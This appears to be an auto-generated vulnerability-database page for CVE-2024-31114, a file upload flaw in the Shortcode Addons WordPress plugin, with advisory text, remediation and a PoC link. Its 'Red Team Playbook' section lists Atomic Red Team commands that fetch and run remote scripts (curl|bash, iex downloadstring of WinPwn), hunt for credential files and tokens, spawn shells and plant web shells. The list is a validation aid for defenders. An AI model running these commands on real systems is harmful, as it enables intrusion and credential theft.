CVE-2024-31114
Overview
This vulnerability is an unrestricted file upload flaw affecting the file handling component of the biplob018 Shortcode Addons plugin. The root cause lies in inadequate validation of uploaded file types, allowing dangerous file formats to be accepted without restriction. The affected feature is the file upload mechanism present in Shortcode Addons versions up to 3.2.5.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in biplob018 Shortcode Addons.This issue affects Shortcode Addons: from n/a through 3.2.5.
Impact
An attacker with high-level privileges can upload malicious files such as web shells or scripts, enabling remote code execution on the hosting server. This can lead to full system compromise, unauthorized data access, and persistent backdoor installation. The prerequisite is possession of a privileged account within the WordPress installation, which could be an administrator or an equivalent role. Successful exploitation can result in data breaches, service disruption, and lateral movement within the network environment.
Solution
Upgrade the biplob018 Shortcode Addons plugin to version 3.2.6 or later, where the unrestricted file upload vulnerability is addressed. Refer to the Patchstack advisory at https://patchstack.com/database/vulnerability/shortcode-addons/wordpress-shortcode-addons-3-2-5-arbitrary-file-upload-vulnerability?_s_id=cve for detailed patch instructions and version-specific remediation guidance. No official workaround is documented; applying the vendor-provided update is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the unrestricted upload of files with dangerous types in the Shortcode Addons plugin poses a significant threat to web applications utilizing this component. This issue arises from inadequate validation and sanitization of file uploads, allowing an attacker to upload malicious files, such as PHP scripts, which can be executed on the server. The flaw is particularly critical as it permits the execution of arbitrary code, potentially leading to full system compromise. The affected versions, ranging from an unspecified release up to 3.2.5, lack the necessary controls to restrict file types, enabling attackers to exploit this weakness easily.
Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker could craft a malicious file, such as a web shell disguised as an image or document, and upload it through the plugin's file upload functionality. Once uploaded, the attacker can access the file directly via a web browser, executing the embedded code on the server. This exploitation can lead to various malicious activities, including data theft, unauthorized access to sensitive information, or even complete server takeover. Moreover, the ease of exploitation makes this vulnerability particularly appealing to attackers, as it requires little more than a valid upload request to initiate an attack.
The real-world impact of this vulnerability is profound, especially for organizations relying on the Shortcode Addons plugin for their web applications. Successful exploitation can result in significant business risks, including data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. The ability for an attacker to execute arbitrary code on a server can lead to the installation of malware, data manipulation, or disruption of services, all of which can have devastating financial implications. Furthermore, the reputational damage incurred from such incidents can have long-lasting effects on an organization's standing in the marketplace.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First and foremost, it is crucial to ensure that all plugins and software components are kept up to date, as updates often include patches for known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) that can help filter out malicious file uploads based on predefined rules. Implementing strict file type validation and sanitization measures on the server side can also significantly reduce the risk of exploitation. Regular security audits and penetration testing should be conducted to identify and address potential weaknesses in the system proactively.
In conclusion, the unrestricted upload of files with dangerous types in the Shortcode Addons plugin represents a critical vulnerability that can have severe implications for affected organizations. The simplicity of exploitation combined with the potential for extensive damage underscores the need for robust security measures. By adopting proactive detection and mitigation strategies, organizations can safeguard their web applications against such vulnerabilities, thereby protecting their data and maintaining the trust of their users.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-31114
Shortcode Addons <= 3.2.5 - Authenticated (Admin+) Arbitrary File Upload
|
Nxploited | 0 | 0 | 2025-03-25 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-31114 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/shortcode-addons/wordpress-shortcode-addons-3-2-5-arbitrary-file-upload-vulnerability?_s_id=cve |